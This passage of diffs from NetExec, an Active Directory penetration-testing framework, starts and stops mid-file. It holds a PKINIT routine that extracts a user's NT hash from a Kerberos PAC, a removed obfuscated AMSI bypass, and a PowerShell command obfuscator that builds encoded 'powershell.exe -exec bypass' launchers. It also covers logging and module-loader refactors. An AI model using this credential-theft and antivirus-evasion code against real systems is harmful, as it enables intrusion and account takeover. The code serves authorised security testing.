now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
nxc_logger.debug("AUTHENTICATOR")
nxc_logger.debug(authenticator.prettyPrint() + "\n")
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq["pvno"] = 5
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq["padata"] = noValue
tgsReq["padata"][0] = noValue
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq["padata"][0]["padata-value"] = encodedApReq
reqBody = seq_set(tgsReq, "req-body")
opts = []
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody["kdc-options"] = constants.encodeFlags(opts)
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, "sname", serverName.components_to_asn1)
reqBody["realm"] = str(decodedTGT["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
seq_set_iter(reqBody, "etype",
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
nxc_logger.debug("Final TGS")
nxc_logger.debug(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
nxc_logger.info("Requesting ticket to self with PAC")
r = sendReceive(message, self.__domain, self.__kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
nxc_logger.debug("TGS_REP")
nxc_logger.debug(tgs.prettyPrint())
cipherText = tgs["ticket"]["enc-part"]["cipher"]
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
specialkey = Key(18, unhexlify(self.__asrep_key))
return self.printPac(plainText, specialkey)
def pfx_auth(self):
"""Handles the authentication using a PFX or PEM file"""
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
dhparams = {
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
"g": 2
}
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
try:
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
except FileNotFoundError as e:
self.logger.fail(f"Certificate or key file not found: {e.filename}")
return False
except Exception as e:
self.logger.fail(f"Failed to load certificate/key: {e}")
return False
username = self.args.username[0]
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
self.logger.info("Requesting TGT")
if not self.kdcHost:
self.logger.fail(f"Could not resolve KDC host for domain {self.domain}. Use --kdcHost to specify the domain controller IP")
return False
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
try:
res = sock.sendrecv(req)
except Exception as e:
self.logger.fail(str(e))
return False
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
ccache_minikerberos = CCACHE()
ccache_minikerberos.add_tgt(res.native, encasrep)
ccache_minikerberos.to_file(log_ccache)
self.logger.info(f"Saved TGT to file {log_ccache}")
self.logger.info(f"Using Kerberos Cache {log_ccache}")
ccache = impacket_CCache.loadFile(log_ccache)
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
nthash = dumper.dump()
if not self.kerberos:
self.hash_login(self.domain, username, nthash)
else:
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
self.logger.info("Successfully authenticated using Certificate")
return True
+47 -68
View File
@@ -13,6 +13,22 @@ import random
obfuscate_ps_scripts = False
def replace_singles(s):
"""Replaces single quotes with a double quote
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
Args:
----
s (str): The string to replace single quotes in.
Returns:
-------
str: Original string with single quotes replaced with double.
"""
return s.replace("'", r"\"")
def get_ps_script(path):
"""Generates a full path to a PowerShell script given a relative path.
@@ -42,19 +58,6 @@ def encode_ps_command(command):
return b64encode(command.encode("UTF-16LE")).decode()
def is_powershell_installed():
"""
Check if PowerShell is installed.
Returns
-------
bool: True if PowerShell is installed, False otherwise.
"""
if which("powershell"):
return True
return False
def obfs_ps_script(path_to_script):
"""
Obfuscates a PowerShell script.
@@ -76,7 +79,7 @@ def obfs_ps_script(path_to_script):
obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
if is_powershell_installed() and obfuscate_ps_scripts:
if bool(which("powershell")) and obfuscate_ps_scripts:
if os.path.exists(obfs_ps_script):
nxc_logger.display("Using cached obfuscated Powershell script")
with open(obfs_ps_script) as script:
@@ -102,97 +105,71 @@ def obfs_ps_script(path_to_script):
and debug statements from a PowerShell source file.
"""
# strip block comments
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read())
# strip blank lines, lines starting with #, and verbose/debug statements
return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
"""
Generates a PowerShell command based on the provided `ps_command` parameter.
Args:
----
ps_command (str): The PowerShell command to be executed.
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
Returns:
-------
str: The generated PowerShell command.
"""
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
if custom_amsi:
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
with open(custom_amsi) as file_in:
lines = list(file_in)
amsi_bypass = "".join(lines)
else:
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
"""
amsi_bypass = ""
command = amsi_bypass + f"\n$functions = {{\n function Command-ToExecute\n {{\n{amsi_bypass + ps_command}\n }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n $job | Wait-Job\n}}\nelse\n{{\n IEX \"$functions\"\n Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
# for readability purposes, we do not do a one-liner
if force_ps32:
# https://stackoverflow.com/a/60155248
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
command = f"{amsi_bypass} {ps_command}"
nxc_logger.debug(f"Generated PS command:\n {command}\n")
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
# of dealing with this it will use the partial python implementation that I stole from GreatSCT
# (https://github.com/GreatSCT/GreatSCT) <3
"""
if is_powershell_installed():
temp = tempfile.NamedTemporaryFile(prefix='nxc_',
suffix='.ps1',
dir='/tmp')
temp.write(command)
temp.read()
encoding_types = [1,2,3,4,5,6]
while True:
encoding = random.choice(encoding_types)
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
temp.name,
encoding)
nxc_logger.debug(invoke_obfs_command)
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
nxc_logger.debug('Command length: {}'.format(len(command)))
if len(command) <= 8192:
temp.close()
break
encoding_types.remove(encoding)
else:
"""
if not dont_obfs:
if obfs:
nxc_logger.debug("Obfuscating PowerShell command")
obfs_attempts = 0
while True:
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
obfs_command = invoke_obfuscation(command)
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
if len(command) <= 8191:
break
if obfs_attempts == 4:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
obfs_attempts += 1
else:
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
command = f"powershell.exe -noni -nop -w 1 {command}"
if len(command) > 8191:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Final command: {command}")
return command
@@ -320,6 +297,7 @@ def invoke_obfuscation(script_string):
-------
str: The obfuscated payload for execution.
"""
nxc_logger.debug(f"Command before obfuscation: {script_string}")
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
@@ -436,5 +414,6 @@ def invoke_obfuscation(script_string):
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
]
return choice(invoke_options)
obfuscated_script = choice(invoke_options)
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
return obfuscated_script
+101
View File
@@ -0,0 +1,101 @@
import contextlib
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class NXCRPCConnection:
"""
DCE/RPC over SMB/TCP using the NXC connection's creds; reuse SMB when already
logged in so Kerberos delegation (e.g. S4U2Proxy ST) applies to pipe RPC too.
"""
def __init__(self, connection, force_tcp=False):
self.connection = connection
self.force_tcp = force_tcp
self.dce = None
self.rpc_transport = None
def connect(self, named_pipe, interface_uuid, target_ip=None, auth_level=None, string_binding=None, set_remote_host=None, anonymous_rpc=False):
if string_binding is not None:
self.rpc_transport = self.create_from_string_binding(string_binding, target_ip, set_remote_host, anonymous_rpc)
elif self.force_tcp:
self.rpc_transport = self.create_tcp_transport(target_ip, anonymous_rpc)
else:
self.rpc_transport = self.create_smb_transport(named_pipe, target_ip)
self.dce = self.rpc_transport.get_dce_rpc()
if self.connection.kerberos and not anonymous_rpc:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.connect()
if auth_level is not None:
self.dce.set_auth_level(auth_level)
self.dce.bind(interface_uuid)
return self.dce
def disconnect(self):
if self.dce:
with contextlib.suppress(Exception):
self.dce.disconnect()
self.dce = None
@property
def transport(self):
return self.rpc_transport
def get_smb_connection(self):
if self.rpc_transport and hasattr(self.rpc_transport, "get_smb_connection"):
return self.rpc_transport.get_smb_connection()
return None
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.disconnect()
return False
def setup_credentials(self, rpc_transport, anonymous_rpc=False):
conn = self.connection
if anonymous_rpc:
rpc_transport.set_credentials("", "", "", "", "", "")
rpc_transport.set_kerberos(False, None)
else:
rpc_transport.set_credentials(conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey)
if conn.kerberos:
rpc_transport.set_kerberos(conn.kerberos, conn.kdcHost)
def create_smb_transport(self, named_pipe, target_ip=None):
conn = self.connection
# Create a new SMB conn if we don't have one already or
# if we are targetting a different IP (e.g. the DC instead of the original host) and therefore need to recreate the conn
if conn.conn is not None and (target_ip is None or conn.host == target_ip):
return transport.SMBTransport(conn.conn.getRemoteHost(), filename=named_pipe, smb_connection=conn.conn)
rpc_transport = transport.SMBTransport(conn.remoteName, conn.port, named_pipe, conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey, doKerberos=conn.kerberos, kdcHost=conn.kdcHost)
if target_ip or conn.host:
rpc_transport.setRemoteHost(target_ip or conn.host)
return rpc_transport
def create_tcp_transport(self, target_ip=None, anonymous_rpc=False):
conn = self.connection
target = target_ip or conn.remoteName
rpc_transport = transport.DCERPCTransportFactory(rf"ncacn_ip_tcp:{target}")
rpc_transport.setRemoteHost(target)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
def create_from_string_binding(self, string_binding, target_ip=None, set_remote_host=None, anonymous_rpc=False):
rpc_transport = transport.DCERPCTransportFactory(string_binding)
if target_ip is not None:
rpc_transport.setRemoteHost(target_ip)
elif set_remote_host is not None:
rpc_transport.setRemoteHost(set_remote_host)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
+40 -19
View File
@@ -4,14 +4,19 @@ import traceback
import sys
from os import listdir
from os.path import dirname
from os.path import basename, dirname
from os.path import join as path_join
from nxc.context import Context
from nxc.helpers.misc import CATEGORY
from nxc.logger import NXCAdapter
from nxc.paths import NXC_PATH
class ModuleOptionsError(Exception):
"""Raised when a module aborts the run from options() (returned False)."""
class ModuleLoader:
def __init__(self, args, db, logger):
self.args = args
@@ -30,31 +35,49 @@ class ModuleLoader:
elif not hasattr(module, "description"):
self.logger.fail(f"{module_path} missing the description variable")
module_error = True
elif not hasattr(module, "category") or module.category not in [CATEGORY.ENUMERATION, CATEGORY.CREDENTIAL_DUMPING, CATEGORY.PRIVILEGE_ESCALATION]:
self.logger.fail(f"{module_path} missing the category variable or invalid category")
module_error = True
elif not hasattr(module, "supported_protocols"):
self.logger.fail(f"{module_path} missing the supported_protocols variable")
module_error = True
elif not hasattr(module, "opsec_safe"):
self.logger.fail(f"{module_path} missing the opsec_safe variable")
module_error = True
elif not hasattr(module, "multiple_hosts"):
self.logger.fail(f"{module_path} missing the multiple_hosts variable")
module_error = True
elif not hasattr(module, "options"):
self.logger.fail(f"{module_path} missing the options function")
module_error = True
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
elif not hasattr(module, "on_login") and not hasattr(module, "on_admin_login"):
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
module_error = True
if module_error:
return False
return True
return not module_error
module_cache = {}
@classmethod
def load_module_file(cls, module_path):
"""Load a module file and return the raw module object with isolated namespace.
Each module gets a unique name to avoid sys.modules collisions that
caused NXCModule class references to be overwritten when loading
multiple modules. Results are cached so each file is only parsed
and executed once regardless of how many targets are scanned.
"""
if module_path not in cls.module_cache:
module_name = f"nxc_module_{basename(module_path)[:-3]}"
spec = importlib.util.spec_from_file_location(module_name, module_path)
module = importlib.util.module_from_spec(spec)
# Register before executing. Modules that define their own impacket
# NDRCALL requests rely on impacket resolving the matching Response
# class via sys.modules[request.__module__] (rpcrt.py), which the
# previous load_module() satisfied implicitly.
sys.modules[module_name] = module
spec.loader.exec_module(module)
cls.module_cache[module_path] = module
return cls.module_cache[module_path]
def load_module(self, module_path):
"""Load a module, initializing it and checking that it has the proper attributes"""
try:
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module = spec.loader.load_module().NXCModule()
module = self.load_module_file(module_path).NXCModule()
if self.module_is_sane(module, module_path):
return module
@@ -64,7 +87,6 @@ class ModuleLoader:
def init_module(self, module_path):
"""Initialize a module for execution"""
module = None
module = self.load_module(module_path)
if module:
@@ -82,7 +104,8 @@ class ModuleLoader:
key, value = option.split("=", 1)
module_options[str(key).upper()] = value
module.options(context, module_options)
if module.options(context, module_options) is False:
raise ModuleOptionsError(f"Module {module.name} aborted the run from options()")
return module
else:
self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}")
@@ -91,8 +114,7 @@ class ModuleLoader:
def get_module_info(self, module_path):
"""Get the path, description, and options from a module"""
try:
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module_spec = spec.loader.load_module().NXCModule
module_spec = self.load_module_file(module_path).NXCModule
module = {
f"{module_spec.name}": {
@@ -100,8 +122,7 @@ class ModuleLoader:
"description": module_spec.description,
"options": module_spec.options.__doc__,
"supported_protocols": module_spec.supported_protocols,
"opsec_safe": module_spec.opsec_safe,
"multiple_hosts": module_spec.multiple_hosts,
"category": module_spec.category,
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
}
}
+17 -24
View File
@@ -2,14 +2,12 @@ from types import ModuleType
from importlib.machinery import SourceFileLoader
from os import listdir
from os.path import join as path_join
from os.path import dirname, exists, expanduser
from os.path import dirname, exists
import nxc
class ProtocolLoader:
def __init__(self):
self.nxc_path = expanduser("~/.nxc")
def load_protocol(self, protocol_path):
loader = SourceFileLoader("protocol", protocol_path)
protocol = ModuleType(loader.name)
@@ -18,27 +16,22 @@ class ProtocolLoader:
def get_protocols(self):
protocols = {}
protocol_paths = [
path_join(dirname(nxc.__file__), "protocols"),
path_join(self.nxc_path, "protocols"),
]
for path in protocol_paths:
for protocol in listdir(path):
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
protocol_path = path_join(path, protocol)
protocol_name = protocol[:-3]
proto_path = path_join(dirname(nxc.__file__), "protocols")
for protocol in listdir(proto_path):
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
protocol_path = path_join(proto_path, protocol)
protocol_name = protocol[:-3]
protocols[protocol_name] = {"path": protocol_path}
db_file_path = path_join(path, protocol_name, "database.py")
db_nav_path = path_join(path, protocol_name, "db_navigator.py")
protocol_args_path = path_join(path, protocol_name, "proto_args.py")
if exists(db_file_path):
protocols[protocol_name]["dbpath"] = db_file_path
if exists(db_nav_path):
protocols[protocol_name]["nvpath"] = db_nav_path
if exists(protocol_args_path):
protocols[protocol_name]["argspath"] = protocol_args_path
protocols[protocol_name] = {"path": protocol_path}
db_file_path = path_join(proto_path, protocol_name, "database.py")
db_nav_path = path_join(proto_path, protocol_name, "db_navigator.py")
protocol_args_path = path_join(proto_path, protocol_name, "proto_args.py")
if exists(db_file_path):
protocols[protocol_name]["dbpath"] = db_file_path
if exists(db_nav_path):
protocols[protocol_name]["nvpath"] = db_nav_path
if exists(protocol_args_path):
protocols[protocol_name]["argspath"] = protocol_args_path
return protocols
+35 -35
View File
@@ -3,8 +3,8 @@ from logging import LogRecord
from logging.handlers import RotatingFileHandler
import os.path
import sys
import re
from nxc.console import nxc_console
from nxc.paths import NXC_PATH
from termcolor import colored
from datetime import datetime
from rich.text import Text
@@ -21,10 +21,11 @@ def parse_debug_args():
args, _ = debug_parser.parse_known_args()
return args
def setup_debug_logging():
debug_args = parse_debug_args()
root_logger = logging.getLogger("root")
if debug_args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
@@ -34,23 +35,24 @@ def setup_debug_logging():
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
temp_logger = logging.getLogger("temp")
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
handler = SmartDebugRichHandler(formatter=formatter)
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
class SmartDebugRichHandler(RichHandler):
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
def __init__(self, formatter=None, *args, **kwargs):
super().__init__(*args, **kwargs)
if formatter is not None:
self.setFormatter(formatter)
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
if hasattr(record, "caller_frame"):
@@ -69,7 +71,7 @@ def no_debug(func):
def wrapper(self, msg, *args, **kwargs):
if self.logger.getEffectiveLevel() >= logging.INFO:
return func(self, msg, *args, **kwargs)
else:
else:
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
caller_frame = inspect.currentframe().f_back
create_temp_logger(caller_frame, formatted_text, args, kwargs)
@@ -78,7 +80,7 @@ def no_debug(func):
class NXCAdapter(logging.LoggerAdapter):
def __init__(self, extra=None):
def __init__(self, extra=None, merge_extra=False):
logging.basicConfig(
format="%(message)s",
datefmt="[%X]",
@@ -87,17 +89,26 @@ class NXCAdapter(logging.LoggerAdapter):
rich_tracebacks=True,
tracebacks_show_locals=False
)],
encoding="utf-8"
)
self.logger = logging.getLogger("nxc")
self.extra = extra
self.merge_extra = merge_extra
self.output_file = None
logging.getLogger("impacket").disabled = True
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
logging.getLogger("dploot").disabled = True
logging.getLogger("certipy").disabled = True
logging.getLogger("aardwolf").disabled = True
logging.getLogger("unicrypto").disabled = True
logging.getLogger("asyncio").setLevel(logging.ERROR)
logging.getLogger("neo4j").setLevel(logging.ERROR)
logging.getLogger("pypsrp").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs): # noqa: A003
def format(self, msg, *args, **kwargs):
"""Format msg for output
This is used instead of process() since process() applies to _all_ messages, including debug calls
@@ -112,10 +123,6 @@ class NXCAdapter(logging.LoggerAdapter):
if len(self.extra) == 1 and ("module_name" in self.extra):
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
# If the logger is being called from nxcServer
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
# If the logger is being called from a protocol
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
@@ -159,29 +166,35 @@ class NXCAdapter(logging.LoggerAdapter):
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
"""
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
caller_frame = inspect.currentframe().f_back.f_back.f_back
if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
try:
for handler in self.logger.handlers:
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
def add_file_log(self, log_file=None):
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
output_file = self.init_log_file() if log_file is None else log_file
file_creation = False
if not os.path.isfile(output_file):
open(output_file, "x") # noqa: SIM115
try:
with open(output_file, "x"):
pass
except FileNotFoundError:
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
exit(1)
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
with file_handler._open() as f:
if file_creation:
f.write(f"[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
else:
f.write(f"\n[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
f.write(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
file_handler.setFormatter(file_formatter)
self.logger.addHandler(file_handler)
@@ -189,27 +202,14 @@ class NXCAdapter(logging.LoggerAdapter):
@staticmethod
def init_log_file():
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
if not os.path.exists(newpath):
os.makedirs(newpath)
newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
os.makedirs(newpath, exist_ok=True)
return os.path.join(
os.path.expanduser("~/.nxc"),
NXC_PATH,
"logs",
datetime.now().strftime("%Y-%m-%d"),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
)
class TermEscapeCodeFormatter(logging.Formatter):
"""A class to strip the escape codes for logging to files"""
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
super().__init__(fmt, datefmt, style, validate)
def format(self, record): # noqa: A003
escape_re = re.compile(r"\x1b\[[0-9;]*m")
record.msg = re.sub(escape_re, "", str(record.msg))
return super().format(record)
# initialize the logger for all of nxc - this is imported everywhere
+11 -8
View File
@@ -1,6 +1,7 @@
import re
from impacket.ldap import ldap, ldapasn1
from impacket.ldap.ldap import LDAPSearchError
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -13,8 +14,7 @@ class NXCModule:
name = "adcs"
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -27,8 +27,7 @@ class NXCModule:
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
BASE_DN The base domain name for the LDAP query
"""
self.context = context
self.regex = re.compile("(https?://.+)")
self.regex = re.compile(r"(https?://.+)")
self.server = None
self.base_dn = None
@@ -39,6 +38,7 @@ class NXCModule:
def on_login(self, context, connection):
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
if self.server is None:
search_filter = "(objectClass=pKIEnrollmentService)"
else:
@@ -49,10 +49,10 @@ class NXCModule:
try:
sc = ldap.SimplePagedResultsControl()
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
if self.server is None:
connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=search_filter,
attributes=[],
sizeLimit=0,
@@ -61,7 +61,7 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
else:
connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=search_filter + base_dn_root + ")",
attributes=["certificateTemplates"],
sizeLimit=0,
@@ -70,7 +70,10 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
except LDAPSearchError as e:
context.log.fail(f"Obtained unexpected exception: {e}")
if "noSuchObject" in str(e):
context.log.fail("No ADCS infrastructure found.")
else:
context.log.fail(f"Obtained unexpected exception: {e}")
def process_servers(self, item):
"""Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""
+239 -267
View File
@@ -1,303 +1,275 @@
import ssl
import ldap3
from impacket.dcerpc.v5 import samr, epm, transport
import sys
from impacket.dcerpc.v5 import samr
from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Initial module:
Refactored to use impacket LDAP CRUD operations instead of ldap3.
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
Thanks to the guys at impacket for the original code
"""
